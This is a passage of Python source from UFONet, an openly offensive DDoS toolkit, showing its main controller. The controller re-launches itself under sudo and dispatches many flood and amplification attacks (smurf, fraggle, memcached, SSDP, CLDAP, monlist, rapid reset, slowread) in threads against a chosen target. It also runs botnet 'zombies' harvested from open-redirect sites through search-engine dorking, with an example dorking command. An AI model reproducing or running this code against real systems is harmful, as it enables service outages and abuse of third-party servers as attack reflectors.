  273. print(alien[1] + sep)
  274. print(alien[2] + cell("", ""))
  275. for i, (lr, rr) in enumerate(rows):
  276. ai = i + 3
  277. left_art = alien[ai] if ai < len(alien) else " " * 48
  278. print(left_art + cell(lr, rr))
  279. ai = len(rows) + 3
  280. left_art = alien[ai] if ai < len(alien) else " " * 48
  281. print(left_art + sep)
  282. ai += 1
  283. left_art = alien[ai] if ai < len(alien) else " " * 48
  284. empty_line = "||" + (" " * (L + 1 + R)) + "||"
  285. print(left_art + empty_line)
  286. ai += 1
  287. left_art = alien[ai] if ai < len(alien) else " " * 48
  288. url = " -> [ UFONet: https://ufonet.03c8.net ] <-"
  289. url_line = "||" + url.center(L + 1 + R) + "||"
  290. print(left_art + url_line)
  291. info = " + Class: PSYoPs / " + str(self.mothership_model) + " +"
  292. info = info.ljust(48)
  293. print(info + empty_line)
  294. print((" " * 48) + sep)
  295. print("")
  296. def banner(self):
  297. print('='*75, "\n")
  298. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  299. print("888 888 888 d88P Y888b 8888b 888 888 ")
  300. print("888 888 888 888 888 88888b 888 888 ")
  301. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  302. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  303. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  304. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  305. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  306. print(self.optionParser.description, "\n")
  307. print(self.optionParser.motto, "\n")
  308. print('='*75)
  309. def generate_exit_msg(self):
  310. self.exit_msg = "Generating random exit... \n\n"
  311. try:
  312. f = open(self.misc_file)
  313. m = f.readlines()
  314. f.close()
  315. self.exit_msg += " -> "+str(random.choice(m).strip())
  316. except:
  317. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  318. def AI(self):
  319. try:
  320. import turtle as AI
  321. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  322. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  323. bg = random.choice(colors).strip()
  324. t = AI.Pen()
  325. AI.bgcolor(bg)
  326. r = random.randrange(100,100000)
  327. for x in range(r):
  328. t.pencolor(colors[x%6])
  329. w = random.randrange(100,1000)
  330. t.width(x/w + 1)
  331. t.forward(x)
  332. l = random.randrange(50,1000)
  333. t.left(l)
  334. except:
  335. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  336. pass
  337. def round_float(self, num):
  338. return str(int(round(num, -1)))[2] # black magic
  339. def _report_bug_hint(self, include_results=False):
  340. print('-' * 60)
  341. print(" [AI] Something seems off. If you think this is a bug,")
  342. print(" please open an issue at:")
  343. print(" https://github.com/epsylon/ufonet/issues/new?template=bug_report.md")
  344. print(" Use the local template as guidance:")
  345. print(" docs/.github/ISSUE_TEMPLATE/bug_report.md")
  346. if include_results:
  347. print(" Attach the test logs from:")
  348. print(" test/results/")
  349. print('-' * 60 + "\n")
  350. def _dump_bug_report_template(self, runner_stdout):
  351. import platform
  352. version = "2.0 (R3DST4R)"
  353. try:
  354. with open(os.path.join('docs', 'VERSION'), 'r', encoding='utf-8') as f:
  355. last = [l.strip() for l in f.readlines() if l.strip() and not l.strip().startswith(('Date', '-'))]
  356. if last:
  357. version = last[-1]
  358. except Exception:
  359. pass
  360. failed = []
  361. for line in (runner_stdout or '').splitlines():
  362. m = re.match(r'\[FAIL\]\s+(\S+).*?->\s+(\S+)', line)
  363. if m:
  364. failed.append((m.group(1), m.group(2)))
  365. logs = []
  366. for name, path in failed:
  367. try:
  368. with open(path, 'r', encoding='utf-8', errors='replace') as f:
  369. body = f.read()
  370. except Exception as e:
  371. body = "(could not read log: " + str(e) + ")"
  372. if len(body) > 4000:
  373. body = body[:2000] + "\n\n...[truncated]...\n\n" + body[-2000:]
  374. logs.append((name, path, body))
  375. cmd = ' '.join(sys.argv) or './ufonet --check-ufonet'
  376. print("=" * 70)
  377. print(" [AI] Pre-filled bug_report.md (copy & paste into the GitHub issue body)")
  378. print("=" * 70)
  379. print()
  380. print("**Describe the bug**")
  381. print("`--test-ufonet` reported test failures.")
  382. print()
  383. print("**To Reproduce**")
  384. print("1. Run `" + cmd + "`")
  385. print("2. See failing test(s): " + ", ".join(n for n, _ in failed) if failed else "2. See output")
  386. print()
  387. print("**Expected behavior**")
  388. print("All tests in `test/run.sh` should pass.")
  389. print()
  390. print("**Running environment:**")
  391. print(" - UFONet version: " + version)
  392. print(" - Installation method: git")
  393. print(" - Operating system: " + platform.platform())
  394. print(" - Python version: " + sys.version.splitlines()[0])
  395. print()
  396. print("**Target details:**")
  397. print(" - Attacking techniques: n/a (self-test)")
  398. print(" - WAF/IPS: n/a")
  399. print()
  400. print("**Error details:**")
  401. print(" - Failing tests: " + (", ".join(n for n, _ in failed) if failed else "(see logs)"))
  402. for name, path, body in logs:
  403. print()
  404. print("<details><summary>" + name + " (" + path + ")</summary>")
  405. print()
  406. print("```")
  407. print(body.rstrip())
  408. print("```")
  409. print()
  410. print("</details>")
  411. print()
  412. print("=" * 70)
  413. def show_mac_address(self):
  414. mac = getnode() # to get physical address
  415. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  416. return hex_mac
  417. def _public_ip_via_dns(self):
  418. try:
  419. import dns.resolver
  420. except ImportError:
  421. from core._ensure import ensure
  422. if ensure('dns.resolver', 'dnspython') is None:
  423. return None
  424. import dns.resolver
  425. from core._dns_pool import random_opendns
  426. try:
  427. r = dns.resolver.Resolver()
  428. r.nameservers = random_opendns()
  429. r.timeout = 3
  430. r.lifetime = 5
  431. for ans in r.resolve('myip.opendns.com', 'A'):
  432. ip = str(ans).strip()
  433. if re.match(r'^\d+\.\d+\.\d+\.\d+$', ip):
  434. return ip
  435. except Exception:
  436. pass
  437. return None
  438. def _public_ip_via_http(self):
  439. import urllib.request
  440. services = [self.check_ip_service1, self.check_ip_service2, self.check_ip_service3,
  441. 'https://checkip.amazonaws.com', 'https://ident.me', 'https://api64.ipify.org']
  442. random.shuffle(services)
  443. ip_re = re.compile(r'^\s*(\d+\.\d+\.\d+\.\d+)\s*$')
  444. for url in services:
  445. try:
  446. txt = urllib.request.urlopen(url, timeout=5, context=self.ctx).read().decode('utf-8', errors='replace')
  447. m = ip_re.match(txt)
  448. if m:
  449. return m.group(1)
  450. m2 = re.search(r'\d+\.\d+\.\d+\.\d+', txt)
  451. if m2:
  452. return m2.group(0)
  453. except Exception:
  454. continue
  455. return None
  456. def show_ips(self):
  457. from core._dns_pool import random_dummy_host
  458. try:
  459. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  460. s.connect((random_dummy_host(), 80))
  461. private_ip = s.getsockname()[0]
  462. s.close()
  463. except Exception:
  464. private_ip = "Unknown"
  465. public_ip = self._public_ip_via_dns() or self._public_ip_via_http() or "Unknown"
  466. return private_ip, public_ip
  467. def try_running(self, func, error, args=None):
  468. options = self.options
  469. args = args or []
  470. try:
  471. return func(*args)
  472. except Exception as e:
  473. if DEBUG == True:
  474. print(error, "error")
  475. traceback.print_exc()
  476. def checkeuid(self):
  477. try:
  478. euid = os.geteuid()
  479. except:
  480. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  481. print("[AI] "+self.exit_msg+"\n")
  482. sys.exit(2) # return
  483. return euid
  484. def start_ship_engine(self):
  485. self.agents = [] # generating available user-agents
  486. f = open(self.agents_file)
  487. agents = f.readlines()
  488. f.close()
  489. for agent in agents:
  490. self.agents.append(agent)
  491. self.user_agent = random.choice(self.agents).strip()
  492. self.search_engines = [] # available dorking search engines
  493. self.search_engines.append('bing')
  494. self.search_engines.append('duck')
  495. self.search_engines.append('brave')
  496. self.search_engines.append('mojeek')
  497. self.search_engines.append('yahoo')
  498. self.search_engines.append('startpage')
  499. self.search_engines.append('ecosia')
  500. if not os.path.exists("core/json/"): # create gui json cfg files folder
  501. os.mkdir("core/json/")
  502. self.banner_welcome()
  503. if getattr(getattr(self, 'options', None), 'web', False):
  504. if getattr(self, '_shipname_new', False):
  505. print("[Info] [AI] Generating ship name: " + str(self.mothership_id).strip().upper())
  506. else:
  507. print("[Info] [AI] Shipname: " + str(self.mothership_id).strip())
  508. self.update_flying_stats() # update flying time stats
  509. chargo = self.check_mothership_chargo() # check mothership chargo
  510. self.update_max_chargo(int(chargo)) # update max chargo stats
  511. self.generate_exit_msg() # generate random exit msg
  512. def hmac_sha1(self, key, msg):
  513. if len(key) > 20:
  514. key = sha1(key).digest()
  515. key += chr(0).encode('utf-8') * (20 - len(key))
  516. o_key_pad = key.translate(self.trans_5C)
  517. i_key_pad = key.translate(self.trans_36)
  518. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  519. def derive_keys(self, key):
  520. key = key.encode('utf-8')
  521. h = sha256()
  522. h.update(key)
  523. h.update('cipher'.encode('utf-8'))
  524. cipher_key = h.digest()
  525. h = sha256()
  526. h.update(key)
  527. h.update('mac'.encode('utf-8'))
  528. mac_key = h.digest()
  529. return (cipher_key, mac_key)
  530. def decrypt(self, key, text):
  531. KEY_SIZE = 32
  532. BLOCK_SIZE = 16
  533. MAC_SIZE = 20
  534. mode = AES.MODE_CFB
  535. try:
  536. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  537. except:
  538. try:
  539. padding = len(text) % 4
  540. if padding == 1:
  541. return ''
  542. elif padding == 2:
  543. text += b'=='
  544. elif padding == 3:
  545. text += b'='
  546. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  547. except TypeError:
  548. return None
  549. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  550. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  551. mac = iv_ciphertext_mac[-MAC_SIZE:]
  552. (cipher_key, mac_key) = self.derive_keys(key)
  553. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  554. if mac != expected_mac:
  555. return None
  556. aes = AES.new(cipher_key, mode, iv)
  557. self.decryptedtext = aes.decrypt(ciphertext)
  558. try:
  559. self.decryptedtext = self.decryptedtext.decode('utf-8')
  560. except:
  561. pass
  562. def run(self, opts=None):
  563. if opts:
  564. self.create_options(opts)
  565. options = self.options
  566. options.download = False
  567. options.upload = False
  568. # start threads
  569. if not self.options.threads:
  570. self.options.threads=5 # default number of threads
  571. self.sem = threading.Semaphore(self.options.threads)
  572. # start ship engine
  573. self.start_ship_engine()
  574. # check proxy options
  575. proxy = options.proxy
  576. if options.proxy:
  577. try:
  578. pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  579. m = re.search(pattern, proxy)
  580. if m is None:
  581. self.banner()
  582. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  583. return
  584. else:
  585. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  586. except Exception:
  587. self.banner()
  588. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  589. return
  590. # check tor connection
  591. if options.checktor:
  592. url = self.check_tor_url # TOR status checking site
  593. self.banner()
  594. print("\nSending request to: " + url + "\n")
  595. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  596. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  597. try:
  598. if options.proxy: # set proxy
  599. self.proxy_transport(options.proxy)
  600. req = urllib.request.Request(url, None, headers)
  601. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  602. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  603. if not tor_reply or 'Congratulations' not in tor_reply:
  604. print("It seems that Tor is not properly set.\n")
  605. print(("IP address appears to be: " + your_ip + "\n"))
  606. else:
  607. print("Congratulations!. Tor is properly being used :-)\n")
  608. print(("IP address appears to be: " + your_ip + "\n"))
  609. except:
  610. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  611. sys.exit(2) # return
  612. # list available search engines
  613. if options.list_engines:
  614. self.banner()
  615. print("\n[Info] [AI] Available search engines for dorking ('--se <name>'):")
  616. print('='*48)
  617. for e in self.search_engines:
  618. print(" + " + e)
  619. print('='*48)
  620. print("\n[Info] [AI] Total: " + str(len(self.search_engines)) + " engines\n")
  621. print("[Info] [AI] Use 'all' or '--sa' to search across every engine. Use '--sax NAME' to exclude one.\n")
  622. return
  623. # run the UFONet test suite
  624. if options.testufonet:
  625. import subprocess
  626. self.banner()
  627. runner = os.path.join('test', 'run.sh')
  628. if not os.path.exists(runner):
  629. print("[Error] [AI] Test runner not found at: " + runner + " -> [Aborting!]\n")
  630. self._report_bug_hint()
  631. sys.exit(2)
  632. print("[Info] [AI] Launching UFONet test suite...")
  633. try:
  634. _date = subprocess.run(['date'], capture_output=True, text=True).stdout.strip()
  635. except Exception:
  636. _date = ''
  637. if _date:
  638. print("[Info] [AI] date: " + _date + "\n")
  639. else:
  640. print("")
  641. try:
  642. proc = subprocess.Popen(['bash', runner], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1)
  643. except FileNotFoundError:
  644. print("[Error] [AI] bash not available on this system -> [Aborting!]\n")
  645. self._report_bug_hint()
  646. sys.exit(2)
  647. _out_buf = []
  648. for _line in proc.stdout:
  649. sys.stdout.write(_line)
  650. sys.stdout.flush()
  651. _out_buf.append(_line)
  652. proc.wait()
  653. _full_out = ''.join(_out_buf)
  654. rc = proc.returncode
  655. print("\n[Info] [AI] Test suite finished with exit code: " + str(rc))
  656. if rc != 0:
  657. self._report_bug_hint(include_results=True)
  658. self._dump_bug_report_template(_full_out)
  659. else:
  660. print("[Info] [AI] All tests passed -> [OK!] :-)\n")
  661. sys.exit(rc)
  662. # run AES256+HMAC-SHA1 enc/dec tool
  663. if options.cryptomsg:
  664. from core.tools.crypter import Cipher
  665. print(" " + '='*44)
  666. print(r" ")
  667. print(r" ____...------------...____ ")
  668. print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  669. print(r" .' / / \ \ '. ")
  670. print(r" |=====/o/======================\o\=====| ")
  671. print(r" |____/_/________..____..________\_\____| ")
  672. print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  673. print(r" \__/_____\####/0213411543/####/_____\__/ ")
  674. print(r" |===\!/========================\!/===| ")
  675. print(r" | |=| .---. |=| | ")
  676. print(r" |===|o|=========/ \========|o|===| ")
  677. print(r" | | | \() ()/ | | | ")
  678. print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
  679. print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  680. print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  681. print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  682. print(r" '''''''''''''''''''''''''''''''''''''' ")
  683. print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
  684. print(r" (140 plain text chars = 69 encrypted chars)")
  685. print(" " + '='*44 + "\n")
  686. text = str(input("-> Enter TEXT: "))
  687. input_key = str(input("\n-> Enter KEY: "))
  688. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  689. c = Cipher(key, text)
  690. msg = c.encrypt()
  691. msg = msg.decode('utf-8')
  692. c.set_text(msg)
  693. print("\n" + " " + '-'*44)
  694. print('\n-> Ciphertext: [', msg, ']')
  695. print('\n-> Length:', len(msg))
  696. print("\n" + " " + '-'*44)
  697. print('\n-> Key (share it using SNEAKNET!):', input_key)
  698. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  699. # run shownet tool
  700. if options.shownet:
  701. hex_mac = self.show_mac_address()
  702. self.banner()
  703. print("-> Network Info:")
  704. print('='*44)
  705. print("-"*35)
  706. print("|- MAC Address :", hex_mac)
  707. print("|" +"-"*34)
  708. private_ip, public_ip = self.show_ips()
  709. print("|- IP Private :", private_ip)
  710. print("|" +"-"*34)
  711. self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
  712. self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
  713. t = urlparse(self.check_ip_service)
  714. name_service = t.netloc
  715. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  716. print("-"*35)
  717. print('='*75, "\n")
  718. return
  719. # run UFOSCAN tool (check EUID when running UFOSCAN)
  720. if options.xray:
  721. euid = self.checkeuid()
  722. if euid != 0:
  723. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  724. try:
  725. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  726. os.execlpe('sudo', *args)
  727. except:
  728. pass # keep running
  729. else:
  730. if not options.xrayps:
  731. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  732. ports = options.xrayps
  733. try:
  734. portX, portY = ports.split('-')
  735. try:
  736. portX = int(portX)
  737. portY = int(portY)
  738. except:
  739. portX = 1
  740. portY = 1024
  741. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  742. except:
  743. portX = 1
  744. portY = 1024
  745. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  746. self.banner()
  747. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  748. print('='*22 + '\n')
  749. try:
  750. self.instance = UFOSCAN() # instance main class for scanning operations
  751. xray = self.instance.scanning(options.xray, portX, portY)
  752. except Exception as e:
  753. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  754. if DEBUG == True:
  755. traceback.print_exc()
  756. return
  757. # show code timeline
  758. if options.timeline:
  759. f = open(self.timeline_file, 'r')
  760. releases = f.readlines()
  761. f.close()
  762. self.banner()
  763. print("-> Code timeline:")
  764. print('='*44)
  765. print("-"*35)
  766. for r in releases:
  767. print(r.strip('\n'))
  768. print("-"*35)
  769. print('='*75, "\n")
  770. return
  771. # print some examples
  772. if options.examples:
  773. f = open(self.examples_file, 'r')
  774. examples = f.readlines()
  775. f.close()
  776. self.banner()
  777. for e in examples:
  778. print(e.strip('\n'))
  779. return
  780. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  781. if options.ufosyn:
  782. euid = self.checkeuid()
  783. if euid != 0:
  784. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  785. try:
  786. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  787. os.execlpe('sudo', *args)
  788. except:
  789. pass # keep running, but UFOSYN will fail
  790. # check EUID when running SPRAY (root required)
  791. if options.spray:
  792. euid = self.checkeuid()
  793. if euid != 0:
  794. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  795. try:
  796. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  797. os.execlpe('sudo', *args)
  798. except:
  799. pass # keep running, but SPRAY will fail
  800. # check EUID when running SMURF (root required)
  801. if options.smurf:
  802. euid = self.checkeuid()
  803. if euid != 0:
  804. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  805. try:
  806. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  807. os.execlpe('sudo', *args)
  808. except:
  809. pass # keep running, but SMURF will fail
  810. # check EUID when running FRAGGLE (root required)
  811. if options.fraggle:
  812. euid = self.checkeuid()
  813. if euid != 0:
  814. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  815. try:
  816. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  817. os.execlpe('sudo', *args)
  818. except:
  819. pass # keep running, but FRAGGLE will fail
  820. # check EUID when running XMAS (root required)
  821. if options.xmas:
  822. euid = self.checkeuid()
  823. if euid != 0:
  824. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  825. try:
  826. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  827. os.execlpe('sudo', *args)
  828. except:
  829. pass # keep running, but XMAS will fail
  830. # check EUID when running UFOACK (root required)
  831. if options.ufoack:
  832. euid = self.checkeuid()
  833. if euid != 0:
  834. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  835. try:
  836. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  837. os.execlpe('sudo', *args)
  838. except:
  839. pass # keep running, but UFOACK will fail
  840. # check EUID when running UFORST (root required)
  841. if options.uforst:
  842. euid = self.checkeuid()
  843. if euid != 0:
  844. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  845. try:
  846. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  847. os.execlpe('sudo', *args)
  848. except:
  849. pass # keep running, but UFORST will fail
  850. # check EUID when running DROPER (root required)
  851. if options.droper:
  852. euid = self.checkeuid()
  853. if euid != 0:
  854. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  855. try:
  856. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  857. os.execlpe('sudo', *args)
  858. except:
  859. pass # keep running, but DROPER will fail
  860. # check EUID when running OVERLAP (root required)
  861. if options.overlap:
  862. euid = self.checkeuid()
  863. if euid != 0:
  864. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  865. try:
  866. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  867. os.execlpe('sudo', *args)
  868. except:
  869. pass # keep running, but OVERLAP will fail
  870. # check EUID when running PINGER (root required)
  871. if options.pinger:
  872. euid = self.checkeuid()
  873. if euid != 0:
  874. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  875. try:
  876. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  877. os.execlpe('sudo', *args)
  878. except:
  879. pass # keep running, but PINGER will fail
  880. # check EUID when running UFOUDP (root required)
  881. if options.ufoudp:
  882. euid = self.checkeuid()
  883. if euid != 0:
  884. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  885. try:
  886. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  887. os.execlpe('sudo', *args)
  888. except:
  889. pass # keep running, but UFOUDP will fail
  890. # check EUID when running NUKE (root required)
  891. if options.nuke:
  892. euid = self.checkeuid()
  893. if euid != 0:
  894. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  895. try:
  896. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  897. os.execlpe('sudo', *args)
  898. except:
  899. pass # keep running, but NUKE will fail
  900. # check EUID when running TACHYON (root required)
  901. if options.tachyon:
  902. euid = self.checkeuid()
  903. if euid != 0:
  904. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  905. try:
  906. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  907. os.execlpe('sudo', *args)
  908. except:
  909. pass # keep running, but TACHYON will fail
  910. # check EUID when running MONLIST (root required)
  911. if options.monlist:
  912. euid = self.checkeuid()
  913. if euid != 0:
  914. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  915. try:
  916. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  917. os.execlpe('sudo', *args)
  918. except:
  919. pass # keep running, but MONLIST will fail
  920. # check EUID when running SNIPER (root required)
  921. if options.sniper:
  922. euid = self.checkeuid()
  923. if euid != 0:
  924. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  925. try:
  926. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  927. os.execlpe('sudo', *args)
  928. except:
  929. pass # keep running, but SNIPER will fail
  930. # mod-only target: -m takes precedence over -a, and forces exit after firing (no zombie flow)
  931. _mod_target = getattr(options, 'mod_target', None)
  932. _attack_target = _mod_target or options.target
  933. _mods_fired = []
  934. _mods_skipped = []
  935. _banner_shown = False
  936. _zombie_thread = None
  937. _zombie_thread_started = False
  938. if options.target and not _mod_target and any([
  939. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  940. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  941. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  942. options.monlist, options.sniper, options.dbstress,
  943. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  944. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  945. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  946. options.rapidreset, options.slowread, options.goldeneye,
  947. ]):
  948. try:
  949. from core._botnet import is_placeholder as _is_ph
  950. _zombies_parallel = self.extract_zombies() or []
  951. _zombies_parallel = [z for z in _zombies_parallel if not _is_ph(z)]
  952. if _zombies_parallel:
  953. options.target = self.parse_url_encoding(options.target)
  954. self.banner()
  955. _banner_shown = True
  956. def _zombie_run():
  957. try:
  958. self.attacking(_zombies_parallel, options.target)
  959. self.update_missions_stats()
  960. except Exception:
  961. if DEBUG:
  962. traceback.print_exc()
  963. _zombie_thread = threading.Thread(target=_zombie_run)
  964. _zombie_thread.daemon = True
  965. _zombie_thread.start()
  966. _zombie_thread_started = True
  967. else:
  968. self.banner()
  969. print("\n[Error] [AI] No real zombies found in botnet/zombies.txt (all placeholders).")
  970. print("[Info] [AI] Populate it via dorking: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  971. print("[Info] [AI] -> Skipping open-redirect attack; Extra Attack(s) (if any) will still run directly against the target.\n")
  972. except Exception:
  973. if DEBUG:
  974. traceback.print_exc()
  975. if _mod_target:
  976. _extras_present = any([
  977. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  978. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  979. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  980. options.monlist, options.sniper, options.dbstress,
  981. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  982. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  983. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  984. options.rapidreset, options.slowread, options.goldeneye,
  985. ])
  986. if not _extras_present:
  987. self.banner()
  988. print('='*55)
  989. print("[Info] [AI] Mod-only mode -> [-m " + str(_mod_target) + "]")
  990. print('='*55)
  991. print("[Error] [AI] No Extra(s) attack provided. -m requires at least one mod -> [Aborting!]\n")
  992. print("[Info] [AI] Example: python3 ufonet -m 'http://target.com' --loic 50 --memcached 50\n")
  993. print("[Info] [AI] For the full list: python3 ufonet --help\n")
  994. sys.exit(2)
  995. from core._botnet import load_botnet_file as _has_real_targets
  996. def _has_real(path):
  997. entries, empty, all_ph = _has_real_targets(path)
  998. return entries and not empty and not all_ph
  999. # check EUID + dispatch for v2.0 raw-socket attack mods (root required, target via -a or -m)
  1000. _v2_raw = [
  1001. ('memcached', options.memcached, 'MEMCACHED', MEMCACHED),
  1002. ('chargen', options.chargen, 'CHARGEN', CHARGEN),
  1003. ('cldap', options.cldap, 'CLDAP', CLDAP),
  1004. ('ssdp', options.ssdp, 'SSDP', SSDP),
  1005. ('qotd', options.qotd, 'QOTD', QOTD),
  1006. ('tftp', options.tftp, 'TFTP', TFTP),
  1007. ('wsdisco', options.wsdisco, 'WSDISCO', WSDISCO),
  1008. ('coap', options.coap, 'COAP', COAP),
  1009. ('mssql', options.mssql, 'MSSQL', MSSQL),
  1010. ('middlebox', options.middlebox, 'MIDDLEBOX', MIDDLEBOX),
  1011. ('finflood', options.finflood, 'FINFLOOD', FINFLOOD),
  1012. ('arms', options.arms, 'ARMS', ARMS),
  1013. ('plex', options.plex, 'PLEX', PLEX),
  1014. ('netbios', options.netbios, 'NETBIOS', NETBIOS),
  1015. ('ripv1', options.ripv1, 'RIPV1', RIPV1),
  1016. ]
  1017. for _flag, _val, _label, _ in _v2_raw:
  1018. if _val:
  1019. if self.checkeuid() != 0:
  1020. print("[Info] [AI] [Control] [" + _label + "] (--" + _flag + ") not started as root...\n")
  1021. try:
  1022. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1023. os.execlpe('sudo', *args)
  1024. except:
  1025. pass
  1026. _v2_raw_files = {
  1027. 'memcached': 'botnet/memcached.txt', 'chargen': 'botnet/chargen.txt',
  1028. 'cldap': 'botnet/cldap.txt', 'ssdp': 'botnet/ssdp.txt',
  1029. 'qotd': 'botnet/qotd.txt', 'tftp': 'botnet/tftp.txt',
  1030. 'wsdisco': 'botnet/wsdisco.txt', 'coap': 'botnet/coap.txt',
  1031. 'mssql': 'botnet/mssql.txt', 'middlebox': 'botnet/middlebox.txt',
  1032. 'arms': 'botnet/arms.txt', 'plex': 'botnet/plex.txt',
  1033. 'netbios': 'botnet/netbios.txt', 'ripv1': 'botnet/ripv1.txt',
  1034. 'finflood': None,
  1035. }
  1036. _v2_threads = []
  1037. for _flag, _val, _label, _cls in _v2_raw:
  1038. if _val and _attack_target:
  1039. try:
  1040. _rounds = int(_val)
  1041. except Exception:
  1042. _rounds = 101
  1043. if _rounds < 1:
  1044. _rounds = 101
  1045. _file = _v2_raw_files.get(_flag)
  1046. if _file and not _has_real(_file):
  1047. _mods_skipped.append(_flag)
  1048. _cls().attacking(_attack_target, _rounds)
  1049. continue
  1050. _mods_fired.append(_flag)
  1051. if not _banner_shown:
  1052. self.banner()
  1053. _banner_shown = True
  1054. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1055. _t.daemon = True
  1056. _t.start()
  1057. _v2_threads.append((_flag, _t))
  1058. # v2.0 HTTP/TCP mods that do NOT need root (sockets, not raw)
  1059. _v2_http = [
  1060. ('rapidreset', options.rapidreset, 'RAPIDRESET', RAPIDRESET),
  1061. ('slowread', options.slowread, 'SLOWREAD', SLOWREAD),
